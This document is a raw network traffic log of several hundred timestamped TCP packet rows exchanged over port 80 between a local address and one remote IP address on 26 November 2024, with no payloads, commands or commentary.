Nov 26, 2024 08:03:19.905045033 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.905112982 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.905940056 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.905981064 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.906115055 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.906158924 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.906889915 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.906896114 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.906946898 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.907710075 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.907716036 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.907759905 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.908716917 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.908776999 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.908845901 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.908894062 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.909811974 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.909871101 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.984797001 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.984910011 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.984957933 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.984996080 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.985378027 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.985384941 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.985563993 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.986243963 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.986345053 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.986401081 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.986469984 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.987242937 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.987324953 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.987351894 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.987406015 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.988225937 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.988281965 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.988488913 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.988535881 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.989299059 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.989305973 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.989357948 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.990226984 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.990259886 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.990273952 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.990297079 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.991241932 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.991297960 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.991338968 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.991447926 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.992269993 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.992275953 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.992328882 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.993216991 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.993288040 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.993289948 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.993380070 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.994225025 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.994288921 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.994293928 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.994337082 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.995162964 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.995218039 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.995296001 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.995359898 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.996236086 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.996243954 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.996288061 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.997206926 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.997212887 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.997257948 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.998203039 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.998253107 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.998261929 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.998292923 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.999174118 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.999186993 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.999217033 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.000171900 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.000178099 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.000267029 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.001177073 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.001183987 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.001233101 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.002103090 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.002244949 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.002573967 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.002655029 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.003197908 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.003204107 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.003245115 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.004170895 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.004183054 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.004363060 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.005089998 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.005136967 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.005230904 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.005322933 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.006048918 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.006160975 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.006182909 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.006212950 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.007029057 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.007081032 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.007162094 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.007261038 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.008125067 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.008172035 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.008177996 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.008212090 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.009011984 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.009056091 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.009126902 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.009175062 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.009998083 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.010056019 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.010118008 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.010375977 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.070812941 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.070882082 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.070911884 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.070975065 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.071017027 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.071057081 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.071095943 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.071150064 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.071903944 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.071959019 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.072053909 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.072093964 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.072925091 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.072988987 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.073060036 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.073106050 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.073965073 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.073992014 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.074042082 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.074908972 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.074956894 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.075011015 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.075067997 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.075918913 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.075968027 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.076001883 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.076059103 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.076886892 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.076951981 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.077007055 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.077054977 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.077888012 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.077958107 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.078016043 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.078087091 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.078850031 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.078999043 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.079099894 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.079143047 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.079838037 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.079854965 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.079891920 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.080822945 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.080876112 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.080940008 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.080981016 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.081785917 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.081846952 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.081896067 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.081959009 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.082820892 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.082873106 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.082897902 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.082943916 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.107888937 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.107940912 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.108057022 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.108136892 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.108335018 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.108381987 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.108459949 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.108515024 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.108532906 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.108572960 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.109493017 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.109568119 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.109594107 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.109636068 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.110469103 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.110524893 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.110657930 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.110702038 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.111543894 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.111634970 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.111845016 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.111881971 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.112476110 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.112536907 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.112605095 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.112700939 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.113429070 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.113491058 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.113543034 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.113588095 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.114417076 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.114464045 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.114561081 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.114617109 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.115387917 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.115436077 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.115520954 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.115601063 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.116401911 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.116446018 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.116584063 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.116632938 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.117484093 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.117554903 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.117610931 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.117664099 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.118439913 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.118494034 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.118571043 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.118623972 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.119380951 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.119441032 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.119556904 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.119602919 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.120362997 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.120482922 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.195302010 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.195348978 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.195482969 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.195693970 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.195769072 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.195774078 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.195838928 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.196541071 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.196561098 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.196759939 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.197493076 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.197567940 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.197611094 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.197706938 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.198437929 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.198580980 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.198633909 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.198702097 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.199500084 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.199561119 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.199615002 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.199686050 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.200401068 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.200464964 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.200529099 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.200602055 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.201427937 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.201505899 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.201561928 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.201617002 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.202389956 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.202455997 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.202512026 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.202605009 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.203385115 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.203455925 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.203485012 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.203550100 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.204387903 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.204442978 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.204523087 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.204600096 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.205389977 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.205445051 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.205518961 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.205586910 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.206406116 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.206478119 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.206567049 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.206635952 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.207350016 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.207412004 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.207462072 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.207509041 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.208331108 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.208380938 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.208448887 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.208507061 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.209336042 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.209400892 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.209470987 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.209522963 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.210315943 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.210378885 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.210447073 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.210578918 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.211374044 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.211416006 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.211432934 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.211463928 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.212316990 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.212380886 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.212440968 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.212490082 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.213329077 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.213413000 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.213440895 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.213500023 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.214303970 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.214365959 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.214420080 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.214466095 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.215281010 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.215373039 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.215425968 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.215517044 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.216301918 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.216391087 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.216475010 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.216557980 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.217282057 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.217365026 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.217492104 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.217619896 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.218310118 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.218353033 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.218395948 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.218426943 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.219206095 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.219261885 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.219345093 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.219412088 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.220204115 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.220266104 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.220333099 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.220427036 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.281455994 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.281466961 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.281569004 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.281761885 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.282139063 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:20.282151937 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.282185078 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:20.282820940 CET	80	49704	185.215.113.206	192.168.2.8
